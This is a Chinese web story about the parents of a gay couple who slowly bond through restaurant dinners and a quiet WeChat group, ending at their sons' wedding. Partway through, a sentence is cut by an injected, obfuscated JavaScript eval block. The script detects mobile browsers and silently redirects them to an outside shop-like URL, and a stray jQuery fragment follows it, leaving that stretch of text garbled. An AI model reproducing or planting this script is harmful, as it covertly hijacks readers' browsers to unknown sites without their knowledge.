祁妈妈第一次给炀洛爸爸打电话，是挂了三遍才打通的。
第一遍，拨出去五秒，挂断。
第二遍，响了半声，挂断。
第三遍，她把手机拿远一点，盯着屏幕上那串从儿子通讯录里偷来的号码，心想：我怕什么？我又不欠他钱。
于是响了七声之后，那边接了。
“……喂。”
是个中年男人的声音，不高，有点沉，像不常接电话的人。
祁妈妈清了清嗓子：“你好，我是祁春章妈妈。”
那边沉默了三秒。
“您好。”
祁妈妈：“我今天打电话来，不是来闹的。”
炀洛爸爸没接话，但也没挂。
祁妈妈：“我就是想看看，把对方儿子教成这样的人，到底是什么样的父母。”
她顿了顿。
“老祁说得对，两家出这种事，不能只有我们自己在家干着急。”
炀洛爸爸沉默更久。
然后他说：“我也想知道。”
他顿了顿，声音低了些：“能把儿子教成这样的人，是什么样的父母。”
祁妈妈攥紧手机。
窗外是三月阴天，她站在阳台上，晾衣绳上还挂着祁春章高中时的校服，洗褪色了，一直没舍得扔。
“那……”她说，“见个面？”
炀洛爸爸：“好。”
“地方我选。你几点下班？”
“六点。”
“淮扬菜，吃得惯吗？”
“……吃得惯。”
“那周六晚上六点半，淮海路那家‘春不晚’。门口有帘子的包厢。”
“好。”
祁妈妈挂断电话。
她在阳台上站了很久。
老祁从客厅探出头：“打通了？”
“嗯。”
“说什么了？”
“……没说什么。”
她顿了顿。
“周六我去见见。”
老祁没再问。
他走过来，把晾衣绳上那件褪色的校服取下来，叠好，放进沙发边的收纳篮里。
周六晚上六点二十五分，祁妈妈推开包厢门的时候，炀洛爸爸已经到了。
他坐在靠窗的位置，面前一杯茶，已经凉了。
见人进来，他站起来，略欠了欠身。
祁妈妈点了点头，在对面的位置坐下。
服务员进来点菜。两个人各自翻菜单，气氛像谈判。
祁妈妈点了蟹粉狮子头、清炒时蔬、烫干丝。
炀洛爸爸点了响油鳝糊、红烧肉。
“两个人吃不了这么多。”祁妈妈说。
“嗯。”炀洛爸爸把菜单合上，“吃不完打包。”
又沉默。
服务员出去，门帘晃了晃，静止。
祁妈妈先开口：“你儿子成绩很好。”
炀洛爸爸：“你儿子篮球打得也好。”
祁妈妈：“春章小时候坐不住，老师天天告状。”
炀洛爸爸：“小洛小时候话太少，老师说他太安静，不合群。我带他去看过医生，医生说没事，只是性格。”
祁妈妈：“春章高考前一个月还在打比赛，我气得把他关屋里，他翻窗跑出去的。”
炀洛爸爸：“小洛填志愿，我想让他学金融，他不说话，后来自己偷偷改了师范。”
两人同时停下来。
包厢里只剩下空调嗡嗡的送风声。
“你看，”祁妈妈说，“不是我们没好好教。”
炀洛爸爸没接话。
他看着窗外，淮海路车水马龙，霓虹灯一盏盏亮起来。
“他们自己选的。”他最后说。
祁妈妈没说是，也没说不是。
菜陆续上来。蟹粉狮子头冒着热气，响油鳝糊还在滋滋响。
两人安静地吃。
筷子碰碗的声音很轻。
吃到一半，祁妈妈忽然开口：“你们家小洛……对春章好吗？”
炀洛爸爸放下筷子。
“好。”他说。
“怎么好？”
炀洛爸爸想了想。
“高三那年，小洛每天早起半小时，多带一份早餐。我问他带给谁，他不说。”
他顿了顿。
“但他每天都带。放假也带。”
祁妈妈夹菜的手停了。
“春章那时候胃不好，又不爱吃早饭。”她轻声说，“我说他多少遍都不听。”
炀洛爸爸没说话。
她看着碗里那颗狮子头，半晌，夹起来咬了一口。
“……这狮子头还行。”
炀洛爸爸：“嗯。”
“下次可以少放点姜。”
“我跟他提。”
祁妈妈愣了一下，抬头。
炀洛爸爸面色如常，好像那句“我跟他提”再自然不过。
她没接茬，低头继续吃。
结账时，炀洛爸爸抢着付了。
祁妈妈要转钱给他，他说不用。
她也没坚持。
走出饭店，三月底的风还凉。祁妈妈把围巾拢紧些。
“那我先走了。”她说。
“好。”
她走出几步，回头。
炀洛爸爸还站在门口，手里拎着打包盒。
“那个，”祁妈妈顿了顿，“你开车来的吗？”
“坐地铁。”
“这个点三号线人多。”
“还好。”
她沉默了一下。
“下周降温，记得添衣服。”
说完她自己先愣了。
炀洛爸爸也愣了。
“……好。”他说。
祁妈妈转身走了，脚步比来时快。
那之后很长一段时间，他们没再联系。
直到有一天，炀洛爸爸的手机弹出一条好友申请。
微信。
对方头像是一盆绿萝。
验证消息：我是祁春章妈妈。
他点了通过。
绿萝发来第一条消息：今天有人给你儿子送了巧克力，春章看见了，在屋里转了三圈。
炀洛爸爸回：小洛没跟我说。
绿萝：春章也没跟我说。他以为我没看见。
绿萝：他转了四圈。
炀洛爸爸看着屏幕，嘴角动了动。
他打了一行字，删掉。
又打了一行，又删掉。
最后发出去的是：小洛不吃巧克力。
绿萝秒回：那吃什么？
炀洛爸爸：橘子糖。
绿萝：记下了。
对话终止。
各自握着手机，在各自的家里，看着那两盆不存在的绿萝。
这个群是三周后建的。
祁妈妈拉进来的第一个人是炀洛爸爸。
第二个人是老祁——她费了半小时才教会他用微信，最后发现他其实有账号，只是从来没发过消息。
第三个人……是炀洛爸爸拉进来的。
炀：这是我。
头像是默认的灰色小人人，昵称是一个句号。
祁妈妈盯着那个灰色的头像看了很久。
她想起那天晚上在春不晚，炀洛爸爸说她儿子“每天早起半小时带早餐”时的表情。
她点了“编辑备注”。
输入：小洛爸爸。
保存。
群聊名字是祁妈妈取的。
起初叫“一家人”，发了三秒自己撤回，改成“沟通群”。
又撤回。
最后定名：非正式会谈。
群公告是空白。没人知道该写什么。
但群建起来的第一天，四条消息。
老祁：大家好。
炀洛爸爸：您好。
祁妈妈：以后有什么事，在这说。
老祁：好。
然后安静了八个月。
八个月里，这个群一共产生了15条消息。
8条是节日祝福，祁妈妈发元宵、炀洛爸爸回谢谢、老祁发红包（每次都被祁妈妈骂不会用，发的都是拼手气，有人领了0.01）。
3条是天气预报，炀洛爸爸提醒下暴雨，祁妈妈说“你也是”。
2条是求助，老祁问怎么用视频通话，炀洛爸爸发了五张截图步骤图。
2条是回复“收到”。
第一次“非正式会谈”的线下续集，是一年后。
那天是祁春章和炀洛搬进出租屋的日子。
双方家长都没被邀请。
但所有人都在。
祁妈妈带着一床蚕丝被，说是单位发的，用不完。
老祁拎着工具箱，进门就开始检查门窗。
炀洛爸爸抱着一盆绿萝，放在阳台朝北的角落。
“这个好养。”他说，“不用费心。”
两个年轻人忙进忙出，谁都没注意到这些“后勤物资”的供应方有什么异常。
祁妈妈把被子铺在次卧，铺完站在门口看了看，把被角拉平，又看了三秒。
老祁修好了吱呀作响的窗锁。螺丝生锈了，他从工具箱里翻出不锈钢的，换上，试了三遍，确认严丝合缝。
炀洛爸爸把绿萝的盆转了半圈，让叶子朝外。
三人在楼下花坛边碰头。
六目相对，沉默三秒。
祁妈妈：“今天风挺大。”
老祁：“嗯。”
炀洛爸爸：“那我先走了。”
祁妈妈：“好。”
老祁：“好。”
各自转身。
走出二十米，祁妈妈回头。
炀洛爸爸也正好回头。
视线在空中碰了一下，又各自错开。
那天晚上，群里多了一条消息。
炀洛爸爸：窗锁修好了吗？
老祁：修好了。螺丝生锈，换了不锈钢的。
祁妈妈：被子铺在次卧。
炀洛爸爸：绿萝放阳台了，喜阴。
又安静了。
但这次只安静了三天。
第四天，祁妈妈发了一张照片。
晚饭，四菜一汤。蟹粉狮子头、响油鳝糊、清炒时蔬、烫干丝。
配文：今天做了这个。
炀洛爸爸：狮子头姜放少了？
祁妈妈：放了，切得很碎。
炀洛爸爸：好。
第四次“非正式会谈”的线下会晤，是在炀洛爸爸的生日。
那天群里没有任何动静。
但下午三点，祁妈妈突然放下手里的毛衣针，对老祁说：“今天他生日。”
老祁从报纸后面抬起眼睛：“谁？”
祁妈妈没回答。
但傍晚六点，炀洛爸爸的公司前台收到一个外卖。
很大的盒子，拆开是八寸蛋糕，芒果口味。
附卡片一张，没有署名。
只有四个字：身体健康。
字体娟秀，钢笔写的。
炀洛爸爸把卡片看了三遍。
前台小姑娘问：“您过生日呀？”
他“嗯”了一声，把卡片收进钱包夹层。
蛋糕没舍得在办公室切，完整地带回了家。
那天晚上十一点五十三分，群里出现一条新消息。
炀洛爸爸：谢谢。
祁妈妈：不客气。
老祁发了一个红包，这次是固定金额。
炀洛爸爸点开。
8.88元。
他把这个红包截了图。
第五次“非正式会谈”，发生在祁春章和炀洛第一次吵架吵到分居那三天。
消息是炀洛爸爸发到群里的。
小洛搬到酒店了。
祁妈妈秒回：春章在家，没出门。
沉默二十分钟。
祁妈妈：吵什么了？
炀洛爸爸：小洛不说。
老祁：春章也不说。
又沉默。
祁妈妈：那怎么办。
炀洛爸爸：等。
老祁：等。
然后他们真的等了。
第一天，群里没消息。
第二天，群里没消息。
第三天上午，祁妈妈发了一张照片。
是祁春章家的玄关，角度明显是偷拍的——她找借口“送饺子”进了门，趁儿子去厨房拿醋时拍的。
照片里，玄关摆着两双拖鞋。
一双灰色，一双藏青，并排放着。
藏青那双，鞋尖朝外。
灰色那双，鞋尖也朝外。
祁妈妈：春章的鞋一直朝外摆。小洛的鞋习惯朝里放。
她顿了顿。
现在两双都朝外了。
炀洛爸爸没有回复。
但当天下午，老祁的手机收到一条转账。
备注：那三天酒店房费。
老祁没收。
他回：他主动去接的？
炀洛爸爸：嗯。
老祁：那就好。
他顿了顿。
春章嘴硬，但过不了三天就会低头。
炀洛爸爸：小洛也是。他只是需要时间整理。
老祁：那等他自己整理完。
炀洛爸爸：嗯。
第三天的深夜，群里弹出一条消息。
炀洛爸爸：小洛整理完了。
老祁：春章也低头了。
祁妈妈发了一个微笑的表情。
那个微笑表情在群里挂了很久。
没有人说“太好了”，没有人说“我就知道”，没有人发任何拥抱或庆祝的表情包。
只有那个黄色圆脸的微笑。
像这三个沉默的中年人，隔着屏幕，同时轻轻叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354878|199668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了口气。
第六次“非正式会谈”，地点还是春不晚，时间还是周六晚上。
但这次，四个人都到齐了。
老祁坐在祁妈妈右边，面前摆着那壶他永远喝不完的茶。
炀洛爸爸坐在靠窗的位置，和第一次一样。
菜是老祁点的。他把菜单翻了三遍，最后说：“和上次一样。”
服务员愣了一下：“先生，您上次是什么时候来的？”
祁妈妈说：“两年前。”
服务员走后，包厢陷入短暂的安静。
这次是炀洛爸爸先开口。
“下周婚礼了。”他说。
祁妈妈：“嗯。”
“流程都看过了？”
“看过了。”
老祁把茶杯放下：“你送小洛？”
炀洛爸爸点头。
“应该的。”
他说得很轻，像在陈述一个早已决定的事实。
祁妈妈看着他。
窗外是九月的夜，淮海路的梧桐叶子开始黄了。灯光穿过枝叶，在桌上洒下斑驳的影子。
她忽然想起三年前那个春天，也是这个包厢，也是这个位置。那时候她还不知道自己能不能心平气和地和对面这个人吃完整顿饭。
那时候她以为“接受”是一个终点。
后来她才知道，接受只是起点。
“他小时候，”炀洛爸爸忽然开口，“刚会走路那会儿，我牵他过马路，他手太小，握不住我手指，就攥着我小拇指。”
他顿了顿。
“攥得很紧。手心全是汗。”
祁妈妈没说话。
“那时候我想，要牵他到他自己能过马路为止。”他垂着眼睛，“后来他能自己过马路了，又想着牵到他考上大学。考上大学了，又想牵到他毕业、工作……”
他没说下去。
老祁给他续了茶。
“现在，”炀洛爸爸看着杯中打旋的茶叶，“牵着他走到另一个人面前了。”
祁妈妈把面前的红烧肉换到他那边。
这道菜他爱吃的，她早就注意到了。
“那个人，”她说，“是我儿子。”
炀洛爸爸抬起头。
“我儿子什么样，我清楚。”祁妈妈没看他，声音平静，“嘴笨，不会来事，认死理，急了还容易犯浑。”
她顿了顿。
“但他心里有数的。认定的人，一辈子不会放手。”
她终于看他。
“你交给他，可以放心的。”
炀洛爸爸和她对视。
三秒。
五秒。
他低下头，端起那碗红烧肉。
“知道。”他说。
“一直知道。”
老祁倒酒。
他给炀洛爸爸满上，给自己满上。
两个沉默寡言的男人碰了碰杯。
什么都没说，仰头干了。
祁妈妈看着他俩，忽然轻轻笑了一声。
“下周就办大事了，”她放下筷子，“紧张不？”
炀洛爸爸：“不紧张。”
祁妈妈看着他。
“……紧张。”他说。
祁妈妈发了那个她最常用的微笑表情，不是微信里的，是嘴角实实在在弯起来那种。
“那巧了。”她说，“我们也是。”
婚礼当天。
祁春章和炀洛站在台上，面对着彼此。
台下主桌，四位家长并排坐着。
祁妈妈今天穿了一件暗红色的开衫，老祁的衬衫熨得很平。炀洛爸爸难得穿了西装，领带是炀洛毕业那年送的那条，藏青色，细格纹。
婚礼进行曲响起来时，祁妈妈轻轻碰了碰炀洛爸爸的手臂。
他侧过头。
她没说话，只是微微点了下头。
他看到了。
他也点了下头。
然后他站起身，走到甬道尽头，握住儿子的手。
没有人知道他们有个群。
没有人知道那个群叫“非正式会谈”。
没有人知道这六年里，他们约过六次饭，发过三百多条消息，存着彼此孩子的照片，学会了发表情包，知道对方爱吃什么忌口什么，记得每一个该问候的日子。
但此刻，当炀洛爸爸把炀洛的手放进祁春章汗湿的掌心时，祁妈妈清楚地看见——
他嘴角有一个很浅很浅的弧度。
不是笑。
是放下。
是交付。
是她儿子当年第一次把褪色的校服叠进收纳篮时，脸上那种“该往前走”的表情。
她收回视线，低头整理餐巾。
老祁的手从桌下伸过来，轻轻按了按她的手背。
她没有看他。
但她把手翻过来，握住了他的。
那天深夜，群里弹出最后一条消息。
祁妈妈：今天表现不错。
炀洛爸爸：你也是。
老祁发了一个红包。
炀洛爸爸领了。
8.88元。
他没有再截图。
但这一次，他点了“保存到相册”。
聊天记录停在你领取了老祁的红包那一行。
没有新的消息。
凌晨两点十七分。
手机屏幕一个一个暗下去。
淮海路的梧桐树在夜风里沙沙响。
他们都没睡。
但在各自家里，隔着半个城市，他们知道——
这个群不会再更新了。
不是散了。
是圆满了。
后来，很久以后的某个周末。
祁妈妈整理手机相册，翻到一张旧截图。
非正式会谈群聊界面。
最后一条消息是八个月前。
她看着那张截图看了很久。
然后她打开群聊，打了一行字，又删掉。
打了一行字，又删掉。
最后她发了一张照片。
是她今天做的晚饭。
四菜一汤。
蟹粉狮子头，响油鳝糊，清炒时蔬，烫干丝。
配文：今天又做了这个。
三分钟后。
炀洛爸爸：狮子头姜放少了？
祁妈妈：没有。剁得很细。
老祁：好吃。
炀洛爸爸：那就好。
祁妈妈对着屏幕，嘴角慢慢弯起来。
窗外是秋天的下午，阳光铺满阳台。
那盆绿萝还在，叶子垂下来，已经拖得很长了。
她没回消息。
但她知道，这个群还在。
就像那盆不用费心也能活的绿萝。
就像他们这六年学会的事。
有些话不用每天说。
但你知道，只要你说，就有人听。